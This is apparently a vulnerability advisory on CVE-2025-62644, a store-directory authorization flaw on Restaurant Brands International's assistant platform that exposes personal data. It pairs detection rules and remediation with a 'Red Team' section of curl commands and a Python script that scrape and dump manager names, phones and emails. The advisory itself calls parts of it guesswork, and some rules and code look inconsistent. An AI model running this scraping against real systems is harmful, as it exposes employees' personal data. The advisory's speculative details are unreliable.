CVE-2025-62644

Executive Summary

CVE-2025-62644 exposes a critical information disclosure vulnerability in the Restaurant Brands International (RBI) assistant platform, affecting versions through 2025-09-06. The flaw resides in the Global Store Directory feature, which improperly shares personal information among authenticated users. This allows any authenticated user to enumerate and access sensitive data (e.g., store-level employee details, operational contacts) that should be restricted. With a CVSS score of 5.0 (Medium), the vulnerability requires authentication but no special privileges, making it a significant privacy and compliance risk. No public exploit code or patch is currently available, and the vendor has not confirmed a fix.

Supply Chain & Package Security

This vulnerability is not related to an open-source package (NPM, PyPI, Go, Ruby). It is a proprietary web application platform. No supply chain implications are identified.

CVSS Breakdown & Threat Level

• CVSS Score: 5.0 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: Low (PR:L) – attacker must have a valid user account.
• User Interaction: None (UI:N) – no victim action needed.
• Scope: Unchanged (S:U) – impact confined to the vulnerable component.
• Confidentiality Impact: Low (C:L) – limited exposure of personal information.
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS is moderate, the exposure of personal information (PII) can lead to privacy violations, regulatory fines (GDPR, CCPA), and targeted social engineering attacks.

Deep Dive & Mechanics

The RBI assistant platform provides a Global Store Directory intended for operational use by authenticated franchisees and corporate staff. The vulnerability arises because the directory endpoint does not enforce proper access controls or data filtering. When an authenticated user queries the directory, the server returns a superset of data that includes personal information (e.g., store manager names, phone numbers, email addresses) beyond what is necessary for the user’s role.

Root Cause: The API endpoint /api/v1/global-store-directory (or similar) lacks authorization checks to verify whether the requesting user is entitled to view specific fields. The backend likely uses a single database query that returns all columns from the store_contacts table without applying a projection or role-based filter.

Attack Scenario:

1. Attacker registers or compromises a low-privilege user account on the RBI platform.
2. Attacker sends a GET request to the directory endpoint with a valid session token.
3. Server responds with a JSON array containing store records, each including fields like manager_name, manager_phone, manager_email, regional_contact, etc.
4. Attacker scrapes all records, harvesting PII for thousands of stores.

Technical Details:

• The vulnerability is present in all versions up to 2025-09-06.
• No authentication bypass is needed; the flaw is in authorization.
• The data exposure is persistent and can be automated.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common remediation patterns.

Vulnerable Code (Python/Flask example):

@app.route('/api/v1/global-store-directory')
@login_required
def get_store_directory():
    # No role check - returns all fields
    stores = db.execute("SELECT * FROM store_contacts")
    return jsonify(stores)

Patched Code (Hypothetical):

@app.route('/api/v1/global-store-directory')
@login_required
@role_required(['admin', 'regional_manager'])
def get_store_directory():
    # Only return non-sensitive fields based on role
    if current_user.role == 'admin':
        stores = db.execute("SELECT store_id, store_name, address, manager_name FROM store_contacts")
    else:
        stores = db.execute("SELECT store_id, store_name, address FROM store_contacts")
    return jsonify(stores)

Key Differences:

• The patched version implements role-based access control (RBAC).
• Sensitive fields (phone, email) are only returned to authorized roles.
• The database query is scoped to necessary columns.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Valid user account on the RBI platform (can be created via self-registration if allowed).
• Network access to the platform’s API endpoint.

Exploitation Steps:

1. Authenticate: Obtain a session token via login.

   curl -X POST https://rbi-platform.example.com/api/auth/login \
     -H "Content-Type: application/json" \
     -d '{"username":"attacker@example.com","password":"password123"}'
   

2. Extract Directory Data: Request the vulnerable endpoint.

   curl -X GET https://rbi-platform.example.com/api/v1/global-store-directory \
     -H "Authorization: Bearer <token>" \
     -H "Accept: application/json"
   

3. Parse and Exfiltrate: Save the JSON output and extract PII fields.

   curl ... | jq '.stores[] | {manager_name, manager_phone, manager_email}' > pii_dump.json
   

Automation Script (Python):

import requests

session = requests.Session()
session.post("https://rbi-platform.example.com/api/auth/login", json={
    "username": "attacker@example.com",
    "password": "password123"
})
resp = session.get("https://rbi-platform.example.com/api/v1/global-store-directory")
data = resp.json()
for store in data['stores']:
    print(store['manager_name'], store['manager_phone'], store['manager_email'])

Blue Team (Defender)

Detection & Response:

1. Monitor API Logs: Look for repeated calls to /api/v1/global-store-directory from a single user.
2. Rate Limiting: Implement rate limiting on the directory endpoint to prevent bulk scraping.
3. Anomaly Detection: Alert on users accessing the directory who are not in roles that require it (e.g., store-level employees).
4. Data Loss Prevention (DLP): Monitor outbound traffic for large JSON payloads containing PII patterns (phone numbers, emails).

Honeypot Strategy:

• Inject fake store records with unique identifiers (e.g., honeypot@rbi-monitor.com) into the directory. If those emails receive unsolicited contact, the breach is confirmed.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Repeated GET requests to /api/v1/global-store-directory from a single IP.
  • Unusually high volume of data transfer from the API endpoint.
• File IOCs:
  • Files named pii_dump.json, store_contacts.csv, or similar on attacker systems.
• Behavioral IOCs:
  • User accounts with no regional management role accessing the directory.
  • Login from IPs not associated with franchise operations.

Detection Engineering

YARA Rule

rule CVE_2025_62644_PII_Exfiltration {
    meta:
        description = "Detects exfiltration of RBI store directory PII"
        author = "Valters IT"
        date = "2025-09-10"
        reference = "CVE-2025-62644"
    strings:
        $json_pattern = /"manager_name"\s*:\s*"[^"]+"/ nocase
        $json_pattern2 = /"manager_phone"\s*:\s*"[^"]+"/ nocase
        $json_pattern3 = /"manager_email"\s*:\s*"[^"]+"/ nocase
        $url_pattern = /\/api\/v1\/global-store-directory/i
    condition:
        any of ($json_pattern*) and $url_pattern
}

Sigma Rule

title: CVE-2025-62644 - RBI Global Store Directory PII Access
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects access to the vulnerable RBI directory endpoint by non-admin users
author: Valters IT
date: 2025-09-10
logsource:
    category: web
    product: apache
    service: access
detection:
    selection:
        cs-uri-stem: '/api/v1/global-store-directory'
        cs-method: 'GET'
        sc-status: 200
    filter:
        cs-username|contains: 'admin'
    condition: selection and not filter
falsepositives:
    - Legitimate regional managers accessing the directory
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-62644 - RBI Global Store Directory PII Exfiltration";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/api/v1/global-store-directory"; http_uri;
    content:"Authorization: Bearer"; http_header;
    pcre:"/manager_(name|phone|email)/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-62644;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the Global Store Directory if not critical for operations.
2. Implement Role-Based Access Control (RBAC): Restrict access to the directory to only users with explicit roles (e.g., regional manager, corporate admin).
3. Data Minimization: Modify the API to return only non-sensitive fields (store ID, name, address) by default. Sensitive fields should require additional authorization.

Long-Term Fix:

• Apply a server-side patch that filters database queries based on user roles.
• Conduct a security audit of all API endpoints for similar authorization flaws.
• Implement logging and monitoring for all data access events.

Vendor Communication:

• Since the patch status is UNKNOWN, contact RBI’s security team immediately. If no response, consider reporting to CERT/CC or relevant authorities.

Valters IT